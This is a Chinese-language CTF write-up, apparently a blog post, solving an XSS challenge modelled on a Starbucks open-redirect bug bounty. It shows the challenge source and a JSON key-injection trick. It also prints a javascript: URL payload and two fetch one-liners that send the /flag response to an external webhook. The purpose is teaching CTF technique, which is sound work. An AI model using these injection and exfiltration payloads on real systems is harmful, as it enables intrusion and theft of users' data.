“勿在浮沙筑高台”|浅谈一道改编自realworld的xss赛题(勿在浮沙筑高楼)
 南窗  分类:IT技术  人气:84  回帖:0  发布于1年前 收藏

Background

这是一道基于17年starbuckXSS Bug Bounty改编而成的CTF题目,由我引导团队内一位来自高中的学弟做出(真的卷,高中就开始玩CTF),从而引发出来的思考和记录,作为本公众号的第一篇技术文章。

内容目录

Part Ⅰ - 通读文件结构 && 简单分析代码Part Ⅱ - How to Xss (1) -- 满足条件Part Ⅲ - How to Xss (2) -- 跳转那点事Part Ⅳ - 收尾的js代码问题Part Ⅴ - 写在最后

Part Ⅰ - 通读文件结构 && 简单分析代码

典型的XSS题目,题目只提供部分源码,我习惯于先看一下bot代码确定flag位置。这类型题目的考点大概分为两大类,一类要求你伪造cookies作为admin访问对应路由,另一类则直接获取cookies flag在cookies里面。

bot源码如下:

const cookies = [{
    name: 'jsession',
    value: 'DELETE',
    domain: "127.0.0.1",
    httpOnly:true
}];

const bot = async function (url){
    const URL = parse(url, true)
    try{
        const browser = await puppeteer.launch({
            headless: true,
            args: [
                '--no-sandbox',
                '--disable-setuid-sandbox',
                '--disable-dev-shm-usage'
            ],
            dumpio: true,
        });
        page = await browser.newPage('http://127.0.0.1:80');
        await page.setCookie(...cookies);

        console.log(URL.href)
        await page.goto(`http://127.0.0.1:80/?blog=${URL.href}`);
        setTimeout(() => {
            browser.close();
        }, 4000);
    } catch (err) {
        console.log(`err : ${err}`);
    }
}

题目设置httponlytrue,且value值为delete,无法明确是要我们要通过bypass手段,还是参数本身就是delete,这种情况还是继续回归源码。

当看到/flag路由我们就清楚这道题目是需要伪造cookiesadmin,再请求/flag路由,读取flag

Part Ⅱ - How to Xss (1) -- 满足条件

代码除了上面我们截图部分外仅有这一部分了。

router.get('/', (req, res) => {
    const blog = req.query.blog || 'https://xxxx.com';
    const user = JSON.parse(`{"username":"Tester", "setblog":"${blog}"}`);
    const url = parse(user['setblog'], true)
    , hostname = url.hostname;

    if (hostname === 'xxx.com' && user['username'] === 'hello') {
        console.log(1)
        res.render('index', {url:url});
    } else {
        res.render('index', {url:'#'});
    }
});

然后我和学弟产生了如下对话:

学弟: "我知道关键是要走到这行代码 `res.render('index', {url:url});`,但是具体咋做不太懂。"
我: "我知道你急,但你先别急,你先看上面哪些函数是你见过的,你也打一个多月CTF了。"
学弟: "JSON.parse!可以原型链污染!"
我: "啊...?"

首先学弟向我展示出了一个赛棍的敏感,当JSON.parse参数可控他立刻就想到了原型链污染,但首先要明确原型链污染构成的条件,是要控制类的原型。JSON.parse能把__proto__认为成一个键名,所以在如果有mergecopy这类函数进行操作配合JSON.parse才能进行原型链污染。而且原型链污染要干嘛问他也是一问三不知,所以我引导他看JSON.parse和判断条件。

“另外作为一个安全从业者,闭合的思想非常重要,如果json中出现两个相同的键名会怎样呢?”

学弟很快Get到了我的意思,构造出了如下字符串:","username":"hello

这样就可以达到控制username值,那我们输入正常的url,就是上面的xxx.com,然后输出调试一下。

可以看到url_parse的结果,能够控制hostxxx.com,但是render url后又会怎么样呢?我们可以去看靶机。

“可以看到这里面会进行一个跳转,我们现在只能跳转到xxx.com该怎么办呢?”

学弟在探索了url-parse的解析手册和一些ssrf查看的手法后告诉我一无所获…

Part Ⅲ - How to Xss (2) -- 跳转那点事

“拿到跳转能进行xss吗?” 我继续用问题引导学弟。

学弟: "我搜了下 `javascript:alert(1)` 我刚把他忘了,javascript也是协议啊!javascript://alert(1)这样是可以的,如果有host我又蒙了...
我: "建议你去搜索一下bug bounty,这道题目的设计就是基于某个redirect xss的。"

很快他通过我提供的redirect xss找到了hacker-one星巴克的一个洞。

很快,他就自信的说他明白了,构造了对应payload

换行执行xss,发生在很多可以跳转本站链接中,没多久他又说:“不行,执行不了。”

给我看了报错信息,很清楚看到是json传参的错误,我继续问他:“那么什么符号导致的?”。

他在这儿陷入了僵局,而我并不打算给他任何提示,毕竟是一个很容易思考发现的报错,一个小时后他才终于恍然大悟:“原来可以对%0a再编一次码”。但实际上使用编码,比如unicode,也是完全可以的,最后他成功获得了xss

javascript://xxx.com/%250Aalert(1)","username":"hello

到这里我们可以来梳理下思路,题目主要考查的是open redirect xss通过JSON.parse解析中的闭合修改username,关键在于能否敏锐捕捉到javascript协议。

其中他经历的挫折很大程度上是以下几点:1. 懒,没多本地调试更没有多思考;2. 没有充分利用搜索引擎,如果他了解一些比较大的payload网站比如hacktricks他会很轻松寻找到答案。

Part Ⅳ - 收尾的js代码问题

最后我问他接下来你知道怎么做了吧?他说:“easy!我直接用hackbar生成一个!”

fetch(`/flag`).then(t=>t.text()).then(t=>location=`https://webhook/?f=`+encodeURIComponent(t))

倒是突出了一个优雅,但是这道题没法使用箭头函数,我就让他正常写函数,效果一样,但他说不会…

fetch(`/flag`).then(function(response){return response.text();}).then(function(data){return fetch(`https://webhook.site/xx?flag=${encodeURIComponent(data)}`);});

这有啥难的,把箭头改写成正常函数return就可以了。

Part Ⅴ - 写在最后

这种RealWorld改写的CTF题目含金量比较高,也不是很难,自己尝试调试思考,才是学习安全脚踏实力的唯一方法!

关于我们

我们是一群对技术有着狂热执着的人,期待与您的合作。

讨论这个帖子(0)垃圾回帖将一律封号处理……